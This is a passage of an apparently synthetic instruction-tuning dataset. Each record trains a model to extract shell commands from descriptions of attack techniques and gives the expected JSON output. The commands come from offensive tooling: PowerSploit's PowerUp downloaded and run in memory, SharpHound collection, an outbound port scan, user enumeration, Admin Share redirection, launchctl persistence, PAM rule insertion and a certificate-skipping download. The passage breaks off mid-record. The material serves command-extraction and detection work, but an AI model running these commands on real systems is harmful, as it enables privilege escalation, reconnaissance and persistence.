span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, inspired by Black Hills InfoSec, tests outbound ports by running the following script, which checks connectivity and logs results to Desktop\\open-ports.txt:\n$ports = Get-content \"#{port_file}\"\n$file = \"#{output_file}\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n    $test = new-object system.Net.Sockets.TcpClient\n    $wait = $test.beginConnect(\"allports.exposed\", $port, $null, $null)\n    $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n    $totalports++ | Out-Null\n    if ($test.Connected) {\n        $result = \"$port open\" \n        Write-Host -ForegroundColor Green $result\n        $result | Out-File -Encoding ASCII -append $file\n        $totalopen++ | Out-Null\n    }\n    else {\n        $result = \"$port closed\" \n        Write-Host -ForegroundColor Red $result\n        $totalclosed++ | Out-Null\n        $result | Out-File -Encoding ASCII -append $file\n    }\n}\n$results = \"There were a total of $totalopen open ports out of $totalports ports tested.\"\n$results | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n",
    "output": "{\"command_list\": [\"$ports = Get-content \\\"#{port_file}\\\"\\n$file = \\\"#{output_file}\\\"\\n$totalopen = 0\\n$totalports = 0\\nNew-Item $file -Force\\nforeach ($port in $ports) {\\n    $test = new-object system.Net.Sockets.TcpClient\\n    $wait = $test.beginConnect(\\\"allports.exposed\\\", $port, $null, $null)\\n    $wait.asyncwaithandle.waitone(250, $false) | Out-Null\\n    $totalports++ | Out-Null\\n    if ($test.Connected) {\\n        $result = \\\"$port open\\\" \\n        Write-Host -ForegroundColor Green $result\\n        $result | Out-File -Encoding ASCII -append $file\\n        $totalopen++ | Out-Null\\n    }\\n    else {\\n        $result = \\\"$port closed\\\" \\n        Write-Host -ForegroundColor Red $result\\n        $totalclosed++ | Out-Null\\n        $result | Out-File -Encoding ASCII -append $file\\n    }\\n}\\n$results = \\\"There were a total of $totalopen open ports out of $totalports ports tested.\\\"\\n$results | Out-File -Encoding ASCII -append $file\\nWrite-Host $results\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The current system user details can be obtained with the following Windows command sequence: set file=#{output_file_path}\\user_info_%random%.tmp\necho Username: %USERNAME% > %file%\necho User Domain: %USERDOMAIN% >> %file%\nnet users >> %file%\nquery user >> %file%\n",
    "output": "{\"command_list\": [\"set file=#{output_file_path}\\\\user_info_%random%.tmp\\necho Username: %USERNAME% > %file%\\necho User Domain: %USERDOMAIN% >> %file%\\nnet users >> %file%\\nquery user >> %file%\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, often employed by post-exploitation frameworks, writes command output to an Admin Share via the command: cmd.exe /Q /c #{command_to_execute} 1> \\\\127.0.0.1\\ADMIN$\\#{output_file} 2>&1\n",
    "output": "{\"command_list\": [\"cmd.exe /Q /c #{command_to_execute} 1> \\\\\\\\127.0.0.1\\\\ADMIN$\\\\#{output_file} 2>&1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To manage services on macOS, you can use the following command: launchctl submit -l #{label_name} -- #{executable_path}",
    "output": "{\"command_list\": [\"launchctl submit -l #{label_name} -- #{executable_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To insert a rule into a PAM config and test it, use the following command: sudo sed -i \"#{index}s,^,#{pam_rule}\\n,g\" #{path_to_pam_conf}\n",
    "output": "{\"command_list\": [\"sudo sed -i \\\"#{index}s,^,#{pam_rule}\\\\n,g\\\" #{path_to_pam_conf}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To download a file from the internet while bypassing certificate checks, use the following command: nscurl -k \"#{remote_file}\" -o \"#{destination_path}\"",
    "output": "{\"command_list\": [\"nscurl -k \\\"#{remote_file}\\\" -o \\\"#{destination_path}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remotely list members of the local Administrators group using SAMR, run the following commands: New-Item -Path \"#{output_path}\" -ItemType Directory > $null\n& \"#{sharphound_path}\" -d \"#{domain}\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \"#{output_path}\"",
    "output": "{\"command_list\": [\"New-Item -Path \\\"#{output_path}\\\" -ItemType Directory > $null\\n& \\\"#{sharphound_path}\\\" -d \\\"#{domain}\\\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \\\"#{output_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 